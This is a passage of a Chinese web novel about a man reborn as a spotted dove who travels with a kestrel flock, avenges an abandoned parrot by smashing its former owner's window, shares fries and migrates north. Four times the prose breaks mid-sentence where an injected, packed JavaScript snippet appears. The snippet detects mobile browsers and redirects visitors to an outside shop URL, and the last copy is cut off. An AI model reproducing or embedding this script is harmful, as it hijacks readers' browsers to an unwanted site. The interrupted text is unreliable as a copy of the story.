“在想什么?”蓦地,朱云深罕见地主动开口。 安澄看向他,黑色的喙张合几下,最后还是只回复道:“没什么。” “担心那鹦鹉?”一般红隼的瞳孔是暗褐色,然而朱云深的却无比幽深黑亮,直勾勾地看着他鸟时,仿佛能有将此鸟灵与肉都看透的本领。“还是想要给鹦鹉报仇?” “没有没有没有……”安澄把自己的脑袋藏到了翅膀下面,将自己团成了一颗鸟球。“我就是有点点伤心而已,我困了,我要睡觉了。” 朱云深慢慢地偏正自己的头,一边啄翅膀一边漫不经心地说:“安澄,你现在胆子变大了。” 安澄的心颤了颤,没回话,假装自己已经睡着了没听见。 于是朱云深也不再说话。 === 月黑风高夜,斑鸠苏醒时。 一众鸟都已经陷入了熟睡,值班的警察正沉默地垂头玩着手机,偌大的局内,只能听见鸟与人的呼吸。 正是这样僻静的夜晚,一只珠颈斑鸠慢慢地将自己的脑袋从翅膀下面探出来,左右环视一圈后,做贼心虚般静悄悄地扇动自己“缝缝补补”过的破烂翅膀往外飞,不敢惊动任何人或鸟。 今天跟着一起看手机的时候,安澄经过十多秒的、剧烈的心理挣扎,做了一个冒险而又义气的决定——他要根据网友扒出的家庭住址,去找到小鹦鹉的主人,并狠狠地报复他! 哪怕知道这根本不能改变最终的结果,他也要出了这口恶气。 小鹦鹉可是他拼了鸟命从那些盗猎者手下救出来的,仅仅因为那个该死的弃养的男人,就抑郁得把自己弄出了一身伤,还气到吐了血。 此仇不报,非斑鸠!!! 对于真正的鸟类而言,一行汉字所代表的地址是无法让他们检索到正确位置坐标的,然而对于接受过九年义务教育的安澄来说,简直轻轻松松、易如反爪。 他沿着街道飞行了一会儿,不过几分钟后,就成功地找到了地铁口。 这个城市的末班是十一点半,此时才刚刚十点多出头,地铁内明亮的灯火还未熄。 心中默念了一声对不起,安澄扑扇着翅膀快速地飞入了地铁内,不知是不是他的动作太快,工作人员没及时发现他的闯入。 安澄不敢犹豫,立刻开始寻找目标地名,几乎将每条线都看了一遍,最后终于赶在车门关闭之前飞入了相应的车厢。 一线的城市也总是一线的忙碌,即使已是夜晚十点多,车厢内仍有不少刚刚下班的人。而珠颈斑鸠的体型不似那些体型小的雀形目小鸟,他一非进去就引得人纷纷注目。 -“鸟?什么时候飞进来的?” -“现在鸟都知道地铁快,选择来借力了。” -“这是什么鸟啊?脖子上怎么还有一圈斑点呢?” 安澄原本只想做个冷酷无情、不为外物所动的杀爪,但听到最后一句话实在忍不住破了功。 “咕咕?咕咕咕!!!” 什么斑点?什么斑点?那是珍珠!!! “咕咕咕。” 没品位。 他挪动爪子慢慢地把身体转了一个方向,不去看那个可恶的人类。 众人被他的反应逗笑,反应快的已经拿着手机开始拍摄、网速快已经认出他就是今日火在网上的那只“英雄鸟”,而手速快的,更是已经悄悄地走到安澄的身边伸出了罪恶之手。 作为新任网红鸟,安澄对自己的粉丝还是很宽容的,他任拍任摸、不避不躲。 “咕咕,是小咕咕。”数不清的手从周围凑过来,盖在他的身上,肆无忌惮地吸鸟。“小咕咕不是在警察姐姐那里吗?怎么一个人飞出来了?” 安澄伸着脖子,鸣管里发出舒适的微小声音。“咕咕,咕咕咕。” 我要去给小玄凤报仇,你们都别拦我、也别跟着我,我怕到时候让他血溅当场会吓到你们幼小、脆弱、敏感的心灵。 “哎,真的是咕咕叫的诶!!!” 少见多怪 安澄暗自吐槽。 不过吐槽归吐槽,身体却还是很诚实地享受着众人力道得当的抚摸。 然而在复仇的母题之下,所有的欢愉总是短暂的,当地铁到站停下、车门打开报站打开的时候,安澄便瞬间从夸赞之中抽离而出,扇着翅膀义无反顾地往外飞去。 风萧萧兮易水寒,壮鸟一去兮不复还。 他,去也! 万能网友不仅找出了小区,甚至还精准地给出了楼号和门号。 楼层不高很方便他的验证,复仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806830|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑鸠花了小十分钟数楼栋和层数,最终锁定了一户,飞近还点着灯的窗口,看到了熟悉的和视频中一样的布景后,确认了小玄凤的主人就是住在这里。 安澄心中冷冷一笑,而后伸长脖颈发出一声英勇的叫声,“咕咕咕——” 尾音落下的那一秒,他如离弦之箭般,扇着翅膀朝着玻璃窗猛地飞去,带着义无反顾的气势。 然后在与那玻璃窗剩下不到半米的时候,他高举起粉色的爪子,把刚刚从花坛里面捡的、精挑细选的石子丢了过去。 接受石头怪的制裁吧,可恶的人类! “砰”的一声,玻璃窗应声而碎,发出巨大的开裂声响。 “谁?!”卧室里熟睡的人惊醒,灯被打开。“是谁在外面?” 男人质问的声音刚响起,房中就又传来了婴儿响亮的啼哭声。 “呜哇哇哇——” 楼道的声控灯被点亮,没了玻璃隔音之后,隔壁熟睡的邻居也被吵醒,开始不耐烦地咒骂。 “嘿嘿~”安澄蹲在一旁的树上,看着焦头烂额的男人开始偷笑。“今天晚上别想睡了你,再祝你明天上班迟到全勤被扣光光!” 欣赏了一会儿,他就慢慢地挪动着爪子准备振翅离开了。 小玄凤还在宠物医院里面治疗呢,没必要在这种人身上花费太多的时间。 哪知刚一转身,就正对上了一双黝黑的双眼。 “咕咕咕!!!” 救命啊,有鸟鬼!!! 刚想往飞走,就被一只熟悉的爪子给摁在了脖颈上。“不是困了?” 好消息:不是鸟鬼。 坏消息:是比鸟鬼还可怕的红隼。 “emm……你听我狡辩。”安澄骨气全失,整只鸟滩在地上用翅膀尖尖抱住朱云深的另一只爪子。“大人,你明鉴啊!我绝无二心、忠心耿耿、清清白白、矢忠不二,你要相信我啊! “我此番夜逃警局,其实是惦念着没让您成功地吃上薯条,所以辗转反侧、夜不能寐,于是痛定思痛,决定再试一次!” “再试一次被抓走?”朱云深慢慢地收回摁在安澄身上的爪子,另一只却没从对方的翅膀尖尖里抽离。“还是再试一次险些被弄死?” “我……” “你?”红隼看着面前这只一肚子心眼、但每一个心眼都堪比没有的珠颈斑鸠,“你现在胆子真的变大了不少。” 三番两次地被骂,安澄心里面也生出了一点点的情绪,虽然不敢明目张胆地反抗跟前的隼,但还是把自己的翅膀尖尖往回缩了几毫米以示抗议。 他又不是来做不正经的事情,干嘛总说他? 也是,像他们这种冷漠无情的猛禽,是不会共情一只家养小鹦鹉的。 而且他们都有爸爸妈妈,就不会明白小玄凤的崩溃、也不会懂得自小被亲身父母丢弃的安澄的感同身受。 安澄越想越生气、越想越委屈,最后干脆破罐子破摔地蹲坐起来,“没错,我现在胆子就是变大了,其实我也根本不是……” “薯条呢?” 他话还没说完,突然就被朱云深打断。 “什么?” 朱云深偏头看了一眼被砸坏的窗户,又很快收回视线。“不是说给我找薯条来了?在哪里。” “喔喔。”被这么一打岔,安澄也不记得自己原本要说什么了。“还没拿呢,大人你现在要吃吗?” “嗯。”朱云深颔首。 安澄砸吧砸吧喙,突然回忆起薯条的味道,变得振奋许多。“好,那我现在就去拿!大人你要跟我一起吗?” “嗯。” “好耶!”安澄扇动翅膀飞起来。“走,去M记整点薯条!” 18. 说错话了怎么办? 要薯条毕竟突出的是一个“要”,总归看起来不是特别高端和体面,不用朱云深多说,作为合格狗腿的安澄会自觉地主动出击。 此刻两鸟正站在M记的门口大声密谋。 安澄左右环顾一圈,眼见着一个男人目的明确地朝此而来,便摩翅擦爪道:“你在这里不要动,我取买几个橘子……不是,我去拿几根薯条。” 朱云深没说话,大抵是默认了他的行为。 说时迟那时快,在男人推开门的那一霎那,安澄就扑扇着翅膀顺着缝隙飞了进去。 这个点才吃东西的人,各有各的苦衷和难处,安澄没再抢走他们唯一的慰藉,径直朝着点单台而去。 怕给工作人员造成不必要的麻烦,他只是踩在了点单立牌的边沿,没碰其他的地方。 美貌是硬通货、流量是软实力。 身为今日短视频平台新晋流量小咕的安澄,一眼就被认出了真实身份。 “小咕咕,小咕咕是你吗?真可爱!” 听着工作人员夸赞的话,他淡笑一声,伸长脖颈,故作矜持地用喙戳了戳立牌上的薯条照片。“咕咕,咕咕咕。” 我要吃这个,这个!人类,快给安顶流呈上来。 “咕咕,咕咕咕。” 如果你给我一份新鲜炸好的薯条,那本顶流可以勉为其难地给你们摸一下。 这几个工作人员十分通鸟性,竟然真的听懂了他的话,乐呵呵地从后厨给他拿了一份塞得满满的薯条盒。 “小咕咕,是不是要这个?给你。” 安澄屈尊降贵地主动伸出自己的脑袋,去轻揉地蹭了蹭给自己递薯条盒的手,“咕咕,咕咕咕。” 谢谢你,薯条侠。 说完,他便叼着薯条盒往外走。 坐在门附近的人见势主动帮他开门,还趁乱快速地揉了几把安澄的小脑袋。 大胆!竟然趁安顶流不注意做出这样的事情来。 下流! 他怒瞪一眼,气势汹汹地往外走,又在转头看见朱云深的瞬间挂起谄媚的笑。 一路小跑过去,将薯条盒献宝般放在朱云深的跟前。“大人大人,我费了九牛二虎之力、用尽了三寸不烂之舌为你拿的,刚炸出来!此薯只应天上有,人间哪得几回尝,你一定会喜欢的。”一边说,一边将薯条盒打开。 咸香的味道混着热气扑面而来,土豆的香醇带上油炸的诱人,酥脆的外皮裹着绵软的内里。 看着看着,安澄自己忍不住咽了口口水。 “嗯。”朱云深对他的渴望视若无睹,垂首用灰蓝色的喙啄了一口最饱满、最酥脆的那一根,慢慢地细品着。 莫名地,安澄生出一些紧张。 好一会儿,才听见朱云深道:“确实不错。” 安澄刚松下一口气,就又看见朱云深抬爪盖在薯条盒上,并隐隐有挪动的之势。 ??? 难道这个冷漠、无情、自私的雄隼打算独吞他出卖色相赚取的成果?! 难道这个凶狠、无义、自负的禽兽准备不给他分哪怕是一小根的美味薯条?! 他要暴走!他要暴怒!他要暴击眼前的…… “剩下的你吃吧。”朱云深将还满满的一盒薯条推到安澄的面前。“早点回去。” !!! “大人!你可真是宅心仁厚、重情重义、义薄云天啊!我怎么能够,怎么能够独吞剩下的呢?我,我……”他伸翅将薯条盒揽入怀中,把整个脑袋都埋了进去,在薯条海当中大啄一口。“嗯,真香!” 两鸟就这样守在M记的门口将这份薯条逐渐“分食”殆尽。 最后剩下几根的时候,安澄忽然想到了那只还在宠物医院里面躺着的小玄凤。 “大人,我可以把剩下拿给小玄凤吃吗?他一只鸟在医院里面,会很孤独的吧。”毕竟鹦鹉喙一刻也闲不下来,是很需要陪伴的小鸟吧。“我们待会儿能去宠物医院看看他吗?” 朱云深瞥了他一眼,“随你。” 此刻地铁已经关了站,但幸好这离目的地的距离也不是很远,两鸟便慢慢地扑扇着翅膀往来时的方向飞。 宠物医院就在警局的附近,安澄身上的伤就是在那里处理的。 他们到的时候,医院的门开着一条小缝,值班的前台正撑着下巴打瞌睡。 知道朱云深和小玄凤没什么接触,他也没问要不要进去,只说自己很快出来,便拖着薯条盒悄悄地从门缝里钻了进去。 这家宠物医院的规模不大,安澄很轻松地就找到了小玄凤所在的休息间。 被自己弄出的伤口得到了有效的治疗,小玄凤现在正安放在了一个干净宽敞的笼子里。 但显然最难处理的不是身上的这些伤口,而是心理留下的创伤,因为寂静无人的半夜,小玄凤仍然睁着眼睛盯着虚空之处发呆。 “咻咻咻~biubiubiu~”安澄叼着薯条盒将门挤出一小道缝隙,又从缝隙里用力地挤了进去。“我来看你了,小玄凤。” 听到他的声音,发呆的鹦鹉才略微有些反应,木木地抬起头看过来。 安澄走过去,把薯条叼起从缝隙塞进去。“我给你从外面带了些好吃的来,你别让人类发现了,趁热吃。” 小玄凤好像没能听懂这句话,看着那几根薯条愣了好一会儿。 安澄也暗自叹了口气,他趴下来窝在笼子旁边,凑近压着声音对小玄凤说:“我跟你说个秘密,其实我也没有爸爸妈妈。” “啊?”这句话小玄凤听懂了,“可是外面的小鸟,不是孵出来就是爸爸妈妈养的吗?” 可他又不是生下来就是鸟的。 这话当然不能对小玄凤说,安澄只是摇了摇脑袋。“我是孤鸟,孤鸟你知道吗?我一生下来就被丢掉了。” 一个健康的男婴,被毫无缘由的丢弃,听起来很不现实,但人生有时候就是这么没有逻辑。 “当然,我说这些不是为了跟你比可怜。”实际上这么多年过去,安澄对于自己孤儿的身份已经接受良好,在福利政策的帮助下,他也健康地成长、顺利地求学、成功地毕业,虽然最后意外地当了鸟,但人生其实也算挺不错。 “我只是想跟你说,不要因为某个人做出的错误的事情,就觉得自己不配得到爱,做人……哦不是,做鸟呢,得先学会爱自己。 “而且有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806831|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人……不是,有些鸟亲缘本就浅薄,不要强迫自己一定要拥有亲情家人。”他伸出翅膀,用尖尖很轻地碰了一下小玄凤的脑袋。“朋友之爱、伴侣之爱,这些都是爱,你怎么会没人爱呢?” “就好像虽然外面刚认识不久,但作为朋友,我也是爱你啊。” 小玄凤沉默了,小小的脑袋低垂下去,也不知这番话听懂了没有。 安澄又没忍住叹了口气。 现在就让小玄凤看开理解这些,确实有些强鸟所难了,毕竟这确实是个很大的打击。 “好了,我得回去了,再不回去天都要熬亮了。”他又戳了戳小玄凤的脑袋,然后慢慢地从地上站起来。“下次再来看你,好好休息啊。” 话说完小玄凤也没有回答,好似又深深地陷入到了某种情绪中。 见此状,安澄便也不再多说,照着来路出了宠物医院。 朱云深还在外面等他,原先百无聊赖地整理着羽毛,在安澄出去的瞬间,就敏锐地转头看了过去。 可不知怎得,和这只冷酷、无情、刻薄、冷些的隼对视上,安澄心中的沉郁竟然顿时消散不少。 他收了翅膀落到地上,一路小跑着地朝朱云深而去,“大人,我回来啦!” “嗯,天还没亮。” 安澄装作没听懂朱云深的言外之意,顾左右而言他。“大人,剩下的路不如我们走回去吧?刚好消消食。饭后百步走,活到九十九!” 朱云深没说好也没说不好,他便权当是同意了,收着翅膀在地上蹦跳着往前走。 蓦地,他想起了放才在医院里面和小玄凤说的那些话。 不知是夜晚的氛围太美好,还是同吃一份薯条的经历让他下意识地感觉两鸟亲近不少,竟然没过脑子地开口问道:“大人,你的爸爸妈妈呢?你们多久见一次面啊?” 朱云深语气平淡地回答:“死了。” “啊?” “每年都有鸟因为迁徙而死亡,这很正常。”好像在谈一个完全无关紧要的事情,朱云深仿佛不会对此产生半分多余的感情。“所以去年是朱海带着朱川他们回来的。” 安澄突然不知道该说些什么,很是苍白地安慰道:“大人你节哀。” “还是雏鸟的时候,我就不在他们身边。”朱云深似乎是有些突兀地说,但又好像是在回答。 安澄没想到是这样的,越发地有些无措,开始犹豫要不要故技重施,将方才安慰小玄凤的那番话再拿出来对朱云深也说一遍。 他自己倒是无所谓这些往事,可要是这些能够安抚到一只鸟受伤的心灵,也算得上好事一件。 心中想着事,眼睛就没抽出空来看前面的路,粉色的爪子正正好好地踩在一颗浑圆的小石子上,一个用力,整只鸟就身体不稳往前倒去。 “啊啊啊——” 身旁的朱云深眼疾爪,一把将他抓住,“你在想些什么?” “我在想到底要不要跟你说我爱你。” 安澄:???!!! 朱云深:…… 两鸟都沉默了,对视着没有再说话。 几秒后,安澄慢慢地闭上眼,安祥地站着离世了。 19. 冷战了怎么办? 当天晚上,回过神的安澄几乎是逃也似地飞奔回了警局,什么事后会被骂、时候会被威胁吃掉的都顾不上了,回到警局之后就找了个的角落窝着,离自己已经被霸占掉的小窝远远的。 脖子一扭、脑袋一伸,躲在翅膀下面装睡,立志谁叫他都装作没听见。 装成鸵鸟,但脑子还是混混乱乱的一片。 以前也不是没有过类似的场景,更夸张、更吹捧、更舔狗的话他都说过,毫无尊严的事情也做过不少。换做他那个时候,发生这样口误事件一定会继续顺着说下去,再趁机吹一堆彩虹屁刷刷顶头大Boss的好感度,然而这次却怎么也做不到。 就好像…… 好像这些话突然变得无比重要,而当时场合又是那么随意,因此不应当轻易地说出口。 又好像将这些原本也没什么的话说出来,就会发生什么不受控制的大事。 斑鸠想不明白,斑鸠苦恼。 蓦地,他灵光一闪。 难道是今天的薯条有毒? 一定是的!一定是做薯条的土豆发了芽,才会让他吃了之后变得这么奇怪的!!! 斑鸠心中笃定。 自我开导一番之后,安澄心中郁结的情绪散去不少,也慢慢地睡了过去,连朱云深是什么时候回来的也不知道。 安澄有意地想要逃避这件事情,因此连着好几天都刻意地和朱云深拉开着距离,要不就是窝在红隼堆里或者鸟堆当中侃大山,要不就是和几个警察混在一起刷各种路人偶遇他的视频。 真正的顶流是无法被雪藏的,凭借着出色的外貌和亲切的性格,安澄在各大短视频平台名声鹊起,甚至大批量地出现了有关于他的表情包和热梗。 可称得上新的一代顶流。 除却事业有成之外,在鸟际交往上安澄收获也不小。 他先是和被他救下的那群鸟天南海北地乱聊,等他们都飞离警局回到自然之后,又开始去结交其他隼。 因为出众的文采和过鸟的喙才,他在短短的几日内就与长嘴筒子隼——朱河,建立起了革命性友谊,两鸟也很快就开始称兄道弟、无话不谈。 然而事业的成功和友谊的晋升,都没能完全将他的注意力给吸引走,他还是会下意识地去关注朱云深。 但朱云深显然比他正常太多了,对方像是根本没有将那夜他的口误放在心中,也装作不知道他暗自闹的那些小别扭。 这样的态度反倒让安澄越发地心虚起来,心虚到最后,竟然还莫名其妙地产生了一点点的愤怒。 难道这只可恶、凶狠的红隼就不想知道他最后的回答吗? 难道他就没有产生一丝丝、一丢丢、一点点的好奇心和期待吗? 他这个冷漠无情的隼! 他安澄再也不会热情地当舔狗了,再也不! 维持着这种状态又在警局待了好几天,安澄身上的伤也好了个大概,因此迁徙一事也要重新提上日程了。 鸟类繁衍大多都有固定的时间段,何况这群红隼还是冬候鸟,如果因为别的事情错过这次,可能就需要再等一年。 对于有的动物而言,一年或许就是一生,太过漫长。 因此,离开的时候就到了。 在他们准备离开的前一夜,住院的小玄凤终于被带了回来。 彼时安澄正埋头在水果堆里乱啃,享受这最后一顿不劳而获的晚餐。 突然,听见耳边传来了一道熟悉的叽叽喳喳的声音。 “大斑鸠,大斑鸠!!!” 还没等他反应过来,身边就贴了一团小小热热的身体。“我回来啦,我回来啦!” 安澄转头看去,正对上一张脸颊酡红的鹦鹉脸。 相比于几日前安澄去探望时的状态,现在的小玄凤简直就像是换了一只鸟。 黝黑的鸟瞳中又重新泛起了光,身上被自己拔掉羽毛的地方又隐隐长出了新的羽管,羽毛的颜色也光亮许多,不复之前的黯淡。 看来是看开了。 看开了也好,有些事情看不开才是真的痛苦。 “欢迎回来!”安澄伸出翅膀,用尖尖摸了摸小玄凤的脑袋,拨弄了一下脑袋顶上的羽冠。“不过我马上就要走了。” 小玄凤一愣,“啊?为什么……” “因为我本来就不是这里的鸟啊。”安澄说。 其实他本来也不是一只鸟。 “这里不是我们的目的地,我们只是路过这里的游鸟而已。” 小玄凤偏着脑袋看了一眼那群不太和别的鸟搭话的红隼,压着声音问:“那你们要去哪里啊?” “去北方。”安澄伸出翅膀尖尖指了一下方位,“去遥远的北方。” “北方……”小玄凤好像并不明白这个词的意思,“北方是城市的那边吗?” 安澄摇了摇脑袋,“不是,是山河的那边。” 小玄凤大吃一惊,“那么远吗?” “对。” 害怕小玄凤会因为他的离开而再次抑郁,安澄赶忙地安慰倒:“不过你不要因为这件事情就难过,即使我们不在一个地方,我们也仍然是鸟朋友,我也依然会想念你的。” “你不要再伤害自己做……” “我不会那样了呀!”小玄凤偏着脑袋,清脆地叫了几声,用一双黝黑且无辜的双眸看着安澄说:“因为我已经有新家啦,我有了一个一千倍好、一万倍好的新妈妈。” 安澄:??? 什么时候的事情,他怎么不知道? 像是为了证明给他看,小玄凤扑扇着翅膀飞到了那个一直在照顾他的女警肩上。 “这就是我的新妈妈,她给我买了一个超级漂亮、超级舒服的新笼子,选的鸟粮也超级好吃!” 女警听不懂叽叽喳喳的小鹦鹉在说什么,但很宠溺地伸手在他的脑袋上揉了几下。 小玄凤十分享受这样的爱抚,兴奋地蹦跳几下,“你看你看,她超级温柔的。” “而且妈妈还说了,以后上班也会带着我一起,只要我不打扰别人,就可以在院子里面随便玩,我再也不用在没有声音的家里面等一整天、再也不是没人要的小鸟啦!” “对了对了,妈妈说到时候要给我取一个名字,以后我就不和别的鹦鹉一起叫小玄凤了,我要有自己的名字了。” 安澄:…… 好家伙,还给他找到了一个有编制的。 但安澄心中还是很为小玄凤感到开心,热诚的赤子心终于也有了属于他的归宿,是皆大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806832|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢喜的结局。 而关于小玄凤前任主人的后续——如何被网友言语教训、如何被他捡了石头砸了窗户,安澄最后也还是没说。 不必让前主人在他心目中做一个彻头彻尾的恶人,毕竟回忆也总有良善之处。 他与一众红隼在警局中度过了最后一个有空调的夜晚,而当太阳再次升起之时,他们便纷纷振翅飞出那个由钢筋水泥浇筑而成的人类建筑,重新飞向属于他们的天空。 一路往北而去。 - 然而迁徙之路注定充满着各种各样的意外。 白日里一起飞行的时候还颇有几分岁月静好,可当天晚上在他们找到了暂时可以歇息过夜的地方之后,表面的平静就再也维持不住了。 一直没什么反应的朱云深突然振翅朝着向来寡言少语的朱树飞去,尖锐的利爪展露在空中,在月色的照映下泛着凛冽的寒光。 朱云深的速度一般鸟根本反应不过来,只能生生地受下这一爪。 “ya——” 朱树嚎叫一声,猛禽的本能让他下意识地反抗,于是两隼就当着其他所有鸟的面开始缠斗起来。 “怎么回事,怎么回事?”不明所以的安澄心中慌张,挪着小碎步凑到了好兄弟长嘴筒子朱河的身边。 朱河好像比他还懵圈,“他们怎么打起来了?” 两鸟你看我我看你,皆在对方的脸上看到了迷茫。 “深哥,深哥!”朱树根本招架不住,身上的羽毛被朱云深尖锐的爪子给勾得掉了好几片,模样十分狼狈。“我错了,我知道了,以后再也不会了,你原谅我这一次。” 朱河看着安澄,“他做错什么了?” 安澄无语凝噎,“我还想问你呢。” “我没想对这只珠颈斑鸠怎么样,也没想到他会被人类给抓走,当时只是想让他离开集群而已。”朱树高声求饶。“我错了。” 朱河:!!! 安澄:??? 两鸟再次对视,皆从对方的眼睛中看到了惊疑。 朱云深伸爪擒住朱树,将他抓着丢到安澄的面前。“把话对他也说一遍。” 被压着打了一遍的朱树大张着喙喘着粗气,身上的砖红色的羽毛隐隐透露出一些血斑来,他抬头看着安澄,“对不起,我当时不应该骗你……”说着,又看了一眼站在旁边的朱河。“……和你。” “也不该把你丢在人类的城市里不管不顾,可我没想对你做什么,只是很不服气深哥的身边出现了一只弱不禁风的珠颈斑鸠,所以才想着把你弄走。” 弱不禁风的珠颈斑鸠本鸟:…… 不过安澄也终于算是弄清楚整件事情的始末了。 其实他一直以为那天晚上是他自己贪玩走丢了,根本没想到原来里面还藏着这么多的弯弯绕绕。 但他隐约记得在他被那几个盗猎者抓住的时候,朱树其实也跟着朱云深一起来帮他了,那个胖子就是朱树努力缠住的。 可能确实看他不太顺眼,但也不至于是一只道德败坏的恶鸟。 安澄只是想着之前的事情发一会儿呆,但朱云深不知将此误会成了什么,飞到他的身边用翅膀很快速地扫了一下他的脑袋。 “你有什么要说的?” 20. 被夜袭了怎么办? “我……”安澄看看朱云深又看看朱树,最后看向一脸看好戏的朱河。“我应该没有什么要说的吧……” 人家都已经道歉了,而且事后也积极弥补了,他还能有什么好说的。 再者,他在集群里面的身份本来就有点点尴尬,朱云深教训朱树其实也根本不是要帮他找回场子,只是因为他现在是朱云深名义上的小弟,朱树将他骗丢挑战了朱云深的权威而已。 别的鸟怎么想的安澄不知道,但若他自己当了真,那才是真的自作多情、自讨无趣了。 安澄还是很有自知之明的。 所以朱云深乍一问,他突然也不知道该说些什么。 可这个回答似乎没有令朱云深满意,他用一双黑亮的眼眸盯着他,声音低而沉地问:“你真的没有什么要说的吗?” 安澄被这眼神看得浑身一个激灵,莫名想起了认识朱云深的第一天,“那……那我就说一点?” “说吧。”朱云深抬首。 “那……”他吞咽了一下,看向面前狼狈的朱树。“那你……以后不能再骗我和朱河了,要做一只爱国、敬业、诚信、友善的隼,可以吗?” 说完,安澄又下意识地瞥了眼朱云深,发现这禽还是那样一副冷淡的表情。 于是又急急忙忙地补充了一句,“当然,我是不会这么轻易地原谅你的,除非你明天给我找一整天的食物。” 将这要求说出来,朱云深脸上的表情终于微微松动了些,安澄知道这勉强就算是解决了。 说来也真是奇怪,鸟脸做不出像人一样丰富的表情,但他偏偏能够感知到朱云深的情绪,俨然已经成为了一个朱云深解读机器,指哪打哪。 唉,都是生活所迫。 安澄心中暗叹一口。 “走吧。”朱云深终于发了话。 朱树如得了赦令一般,撑着身体一瘸一拐地走远,而后振翅飞到比较偏僻的树梢上,窝成一团休养生息。 别的隼眼见着没发生什么无法挽回的大事,也不再围观,各自找了个地方开始晚眠。 “那,那我也去休息了,哈哈,哈哈哈……”朱河自觉不妙,夹着翅膀也离开了这里,由是一根树枝上就剩下了安澄和朱云深两鸟。 橙眼对黑眼地看了好一会儿,安澄率先撑不住挪开了自己的视线。 却突然听见朱云深慢慢悠悠地开始用树干磨爪子。 安澄:? 怎么隐隐觉得气氛有些微妙? “哦!”某一瞬,他福至心灵。 朱云深这是欠夸了。 也是,自从上次出事之后,他都多久没夸过自己的顶头Boss了,作为一个小弟、一个跟班、一个靠彩虹屁苟且偷生的舔鸟,实在是太不专业了!!! 安澄清了清嗓子,展开翅膀尖尖做捧心状。“大人,你真是青天大老爷,感谢你为我做主。” “百年修得同船渡、千年修得共枕眠,我是修了上万年才有了这样的福气认识你、跟着你,你理解我的委屈、你懂得我的苦楚,你就是我的神! “此等大恩大德,我安某实在无以为报啊! “所以我决定,大人,我要给你筑全鸟界最好的巢!我要让你过上非同一般的鸟界生活,纵享至尊待遇。 “你的幸福就是我终生追求的目标!” 专业的话术熟稔地张口就来。 安澄说得动情、说得忘我、说得大汗淋漓、说得气喘吁吁、说得感人肺腑惊天动地! 然而朱云深只淡淡地回了声,“嗯。” 安澄熊熊燃烧的热情一下被浇灭,忍不住压着声音吐槽了一句。“冷漠死了。” “你说什么? “没,没什么,我什么都没说!!!” 安澄保命第一定律:该认怂的时候就认怂。 他立刻乖巧地在树杈上找了个宽敞的位置窝着,非常刻意地闭上自己的眼睛。“嗷——困了困了,早睡早起身体好。” 朱云深也没再说什么,挺直着身体闭上了双眼。 安澄见状彻底放下心,砸吧砸吧喙,“晚安,大人。” “嗯。” === 后来的几日都没再发生什么意外。 中华地大物博,东西横跨62经度、南北纵跨49纬度,往西北的方向飞了一段时间后,安澄便能够非常明显地感受到他们周围的景色慢慢地发生了地域性的改变。 海拔逐渐变高、道路两旁开始出现大量的热带阔叶树、空气也逐渐不像沿海地区一般湿润。 直到又飞入一个城市,看到街道两旁的傣式建筑,安澄才终于有了他们已经飞到另外一个省的实感。 道路的绿化带种满各色绽放得正胜的鲜花,路旁的小店的音响还在循环唱着彩云之南。 看着广告牌上铺天盖地画着的本省特色动物,安澄的心思又活络起来,他慢慢地凑近专注飞行的朱云深。“大人大人,你见过孔雀吗?” “很聒噪。”朱云深瞥了安澄一眼。 一句就把话给堵死,可开了话闸的安澄又怎么能够轻易地噤声,他又话锋一转。“那你见过大象吗?” “大象,大象你知道吗?就是我们路旁边的那个雕像,真的大象比雕像还要大,而且一般都成群结队的出现。” 朱云深语气淡淡,“怎么,你今晚上准备去找他们?” 安澄:…… “要是真的能够见到就好了。”他低声嘟囔。 虽然嘴上一套一套的,但实际上安澄没亲眼见过活的大象,他一直对这种陆地上最大的哺乳类动物保有着好奇心。 听说这种动物智商非常高,以雌性为尊,是母系社会;还听说他们拥有非凡的记忆力和逻辑能力;更听说公象成年后会被赶出族群。 也不知道传言都有几分真、几分假。 做人的时候可能只能抱着文献看看,但现在做鸟能够听懂动物的话了,安澄的对于这些传闻也越发好奇。 但大象又哪里是那么好偶遇的。 他讪讪地拉开距离,不再搭话,跟着集群一起继续往前飞。 等日落之后,他们已经飞出了市中心。夜色渐浓,众鸟便顺势在与自然交融的城市边缘落了脚。 做鸟没有什么打发碎片化时间的娱乐方式,而且奔波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 